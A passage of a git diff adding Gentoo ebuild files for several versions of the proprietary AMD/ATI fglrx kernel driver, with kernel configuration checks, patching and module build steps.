+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-12.6.ebuild b/x11-drivers/ati-drivers/ati-drivers-12.6.ebuild
new file mode 100644
index 00000000..fdd262e8
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-12.6.ebuild
@@ -0,0 +1,252 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+if [[ ${MY_V[2]} != beta ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib pax_kernel"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present X86_X32; then
+		eerror "You've enabled x32 in the kernel."
+		eerror "Unfortunately, this option is not supported yet and prevents the fglrx"
+		eerror "kernel module from loading."
+		error+=" X86_32 enabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "Evergreen chipset and newer."
+	elog "This represent the AMD Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ ${MY_V[2]} == beta ]]; then
+		unpack ${A}
+		RUN="${S}/${A/%.zip/.run}"
+	else
+		RUN="${DISTDIR}/${A}"
+	fi
+	sh ${RUN} --extract "${S}" # 2>&1 > /dev/null || die
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# fix needed for at least hardened-sources, see bug #392753
+	use pax_kernel && epatch "${FILESDIR}"/ati-drivers-12.2-redefine-WARN.patch
+
+	# Fix compilation with 3.2.8 and 3.3 kernels
+	epatch "${FILESDIR}/ati-drivers-3.2.8+-2.patch"
+
+	# see http://ati.cchtml.com/show_bug.cgi?id=495
+	kernel_is ge 3 4 0 && epatch "${FILESDIR}/ati-drivers-old_rsp.patch"
+
+	#fixes bug #420751
+	epatch "${FILESDIR}"/ati-drivers-do_mmap.patch
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-12.6_beta_pre897.ebuild b/x11-drivers/ati-drivers/ati-drivers-12.6_beta_pre897.ebuild
new file mode 100644
index 00000000..0d39566f
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-12.6_beta_pre897.ebuild
@@ -0,0 +1,239 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+if [[ ${MY_V[2]} != beta ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	#SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	SRC_URI="http://www2.ati.com/drivers/legacy/amd-driver-installer-12.6-legacy-x86.x86_64.zip"
+	FOLDER_PREFIX="common/"
+fi
+IUSE="debug multilib pax_kernel"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "Evergreen chipset and newer."
+	elog "This represent the AMD Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ ${MY_V[2]} == beta ]]; then
+		unpack ${A}
+		RUN=${A/%.zip/.run}
+	else
+		RUN=${A}
+	fi
+	sh ${RUN} --extract "${S}" # 2>&1 > /dev/null || die
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# fix needed for at least hardened-sources, see bug #392753
+	use pax_kernel && epatch "${FILESDIR}"/ati-drivers-12.2-redefine-WARN.patch
+
+	#fixes bug #420751
+	epatch "${FILESDIR}"/ati-drivers-do_mmap.patch
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-12.8.ebuild b/x11-drivers/ati-drivers/ati-drivers-12.8.ebuild
new file mode 100644
index 00000000..260fcc6c
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-12.8.ebuild
@@ -0,0 +1,235 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+if [[ ${MY_V[2]} != beta ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.zip"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib x-multilib pax_kernel"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="x-multilib? ( ~x11-drivers/ati-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "Evergreen chipset and newer."
+	elog "This represent the AMD Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	unpack ${A}
+	RUN="${S}/"*.run
+	sh ${RUN} --extract "${S}" # 2>&1 > /dev/null || die
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# fix needed for at least hardened-sources, see bug #392753
+	use pax_kernel && epatch "${FILESDIR}"/ati-drivers-12.2-redefine-WARN.patch
+
+	#fixes bug #420751
+	epatch "${FILESDIR}"/ati-drivers-do_mmap.patch
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-13.1.ebuild b/x11-drivers/ati-drivers/ati-drivers-13.1.ebuild
new file mode 100644
index 00000000..89efdf51
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-13.1.ebuild
@@ -0,0 +1,258 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+#RUN="${WORKDIR}/amd-driver-installer-9.00-x86.x86_64.run"
+DRIVERS_URI="http://www2.ati.com/drivers/linux/amd-driver-installer-catalyst-${PV}-linux-x86.x86_64.zip"
+XVBA_SDK_URI="http://developer.amd.com.php53-23.ord1-1.websitetestlink.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz"
+SRC_URI="${DRIVERS_URI} ${XVBA_SDK_URI}"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib pax_kernel disable-watermark"
+
+LICENSE="AMD GPL-2 QPL-1.0"
+KEYWORDS="-* ~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="x-multilib? ( ~x11-drivers/ati-userspace-${PV}[x-multilib] )
+	multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
